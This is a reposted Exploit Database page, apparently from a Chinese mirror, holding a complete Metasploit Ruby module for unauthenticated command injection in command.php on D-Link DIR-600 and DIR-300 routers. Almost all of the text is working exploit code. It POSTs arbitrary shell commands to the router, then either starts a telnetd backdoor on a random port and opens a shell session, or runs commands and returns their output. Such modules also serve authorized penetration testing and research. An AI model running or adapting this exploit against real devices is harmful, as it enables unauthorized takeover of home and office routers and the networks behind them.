D-Link Devices – ‘command.php’ Remote Command Execution (Metasploit)

• Exploit Database
• 10 阅读

• 作者： Metasploit
  日期： 2013-08-12
• 类别：

  • remote
  平台：

  • hardware
• 来源：https://www.exploit-db.com/exploits/27528/

• ##
  # This file is part of the Metasploit Framework and may be subject to
  # redistribution and commercial restrictions. Please see the Metasploit
  # web site for more information on licensing and terms of use.
  # http://metasploit.com/
  ##
  
  require 'msf/core'
  
  class Metasploit3 < Msf::Exploit::Remote
  Rank = ExcellentRanking
  
  include Msf::Exploit::Remote::HttpClient
  include Msf::Auxiliary::CommandShell
  
  def initialize(info = {})
  super(update_info(info,
  'Name'=> 'D-Link Devices Unauthenticated Remote Command Execution',
  'Description' => %q{
  Different D-Link Routers are vulnerable to OS command injection via the web
  interface. The vulnerability exists in command.php, which is accessible without
  authentication. This module has been tested with the versions DIR-600 2.14b01,
  DIR-300 rev B 2.13. Two target are included, the first one starts a telnetd service
  and establish a session over it, the second one runs commands via the CMD target.
  There is no wget or tftp client to upload an elf backdoor easily. According to the
  vulnerability discoverer, more D-Link devices may affected.
  },
  'Author'=>
  [
  'Michael Messner <devnull@s3cur1ty.de>', # Vulnerability discovery and Metasploit module
  'juan vazquez' # minor help with msf module
  ],
  'License' => MSF_LICENSE,
  'References'=>
  [
  [ 'OSVDB', '89861' ],
  [ 'EDB', '24453' ],
  [ 'BID', '57734' ],
  [ 'URL', 'http://www.dlink.com/uk/en/home-solutions/connect/routers/dir-600-wireless-n-150-home-router' ],
  [ 'URL', 'http://www.s3cur1ty.de/home-network-horror-days' ],
  [ 'URL', 'http://www.s3cur1ty.de/m1adv2013-003' ]
  ],
  'DisclosureDate' => 'Feb 04 2013',
  'Privileged' => true,
  'Platform' => ['linux','unix'],
  'Payload'=>
  {
  'DisableNops' => true,
  },
  'Targets'=>
  [
  [ 'CMD',#all devices
  {
  'Arch' => ARCH_CMD,
  'Platform' => 'unix'
  }
  ],
  [ 'Telnet',#all devices - default target
  {
  'Arch' => ARCH_CMD,
  'Platform' => 'unix'
  }
  ],
  ],
  'DefaultTarget'=> 1
  ))
  end
  
  def exploit
  if target.name =~ /CMD/
  exploit_cmd
  else
  exploit_telnet
  end
  end
  
  def exploit_cmd
  if not (datastore['CMD'])
  fail_with(Exploit::Failure::BadConfig, "#{rhost}:#{rport} - Only the cmd/generic payload is compatible")
  end
  cmd = "#{payload.encoded}; echo end"
  print_status("#{rhost}:#{rport} - Sending exploit request...")
  res = request(cmd)
  if (!res or res.code != 200 or res.headers['Server'].nil? or res.headers['Server'] !~ /Linux, HTTP\/1.1, DIR/)
  fail_with(Exploit::Failure::Unknown, "#{rhost}:#{rport} - Unable to execute payload")
  end
  
  if res.body.include?("end")
  print_good("#{rhost}:#{rport} - Exploited successfully\n")
  vprint_line("#{rhost}:#{rport} - Command: #{datastore['CMD']}\n")
  vprint_line("#{rhost}:#{rport} - Output: #{res.body}")
  else
  fail_with(Exploit::Failure::Unknown, "#{rhost}:#{rport} - Unable to execute payload")
  end
  
  return
  end
  
  def exploit_telnet
  telnetport = rand(65535)
  
  print_status("#{rhost}:#{rport} - Telnet port used: #{telnetport}")
  
  cmd = "telnetd -p #{telnetport}"
  
  #starting the telnetd gives no response
  print_status("#{rhost}:#{rport} - Sending exploit request...")
  request(cmd)
  
  begin
  sock = Rex::Socket.create_tcp({ 'PeerHost' => rhost, 'PeerPort' => telnetport.to_i })
  
  if sock
  print_good("#{rhost}:#{rport} - Backdoor service has been spawned, handling...")
  add_socket(sock)
  else
  fail_with(Exploit::Failure::Unknown, "#{rhost}:#{rport} - Backdoor service has not been spawned!!!")
  end
  
  print_status "Attempting to start a Telnet session #{rhost}:#{telnetport}"
  auth_info = {
  :host => rhost,
  :port => telnetport,
  :sname => 'telnet',
  :user => "",
  :pass=> "",
  :source_type => "exploit",
  :active => true
  }
  report_auth_info(auth_info)
  merge_me = {
  'USERPASS_FILE' => nil,
  'USER_FILE' => nil,
  'PASS_FILE' => nil,
  'USERNAME'=> nil,
  'PASSWORD'=> nil
  }
  start_session(self, "TELNET (#{rhost}:#{telnetport})", merge_me, false, sock)
  rescue
  fail_with(Exploit::Failure::Unknown, "#{rhost}:#{rport} - Could not handle the backdoor service")
  end
  return
  end
  
  def request(cmd)
  
  uri = '/command.php'
  
  begin
  res = send_request_cgi({
  'uri'=> uri,
  'method' => 'POST',
  'vars_post' => {
  "cmd" => cmd
  }
  })
  return res
  rescue ::Rex::ConnectionError
  fail_with(Exploit::Failure::Unknown, "#{rhost}:#{rport} - Could not connect to the webservice")
  end
  end
  end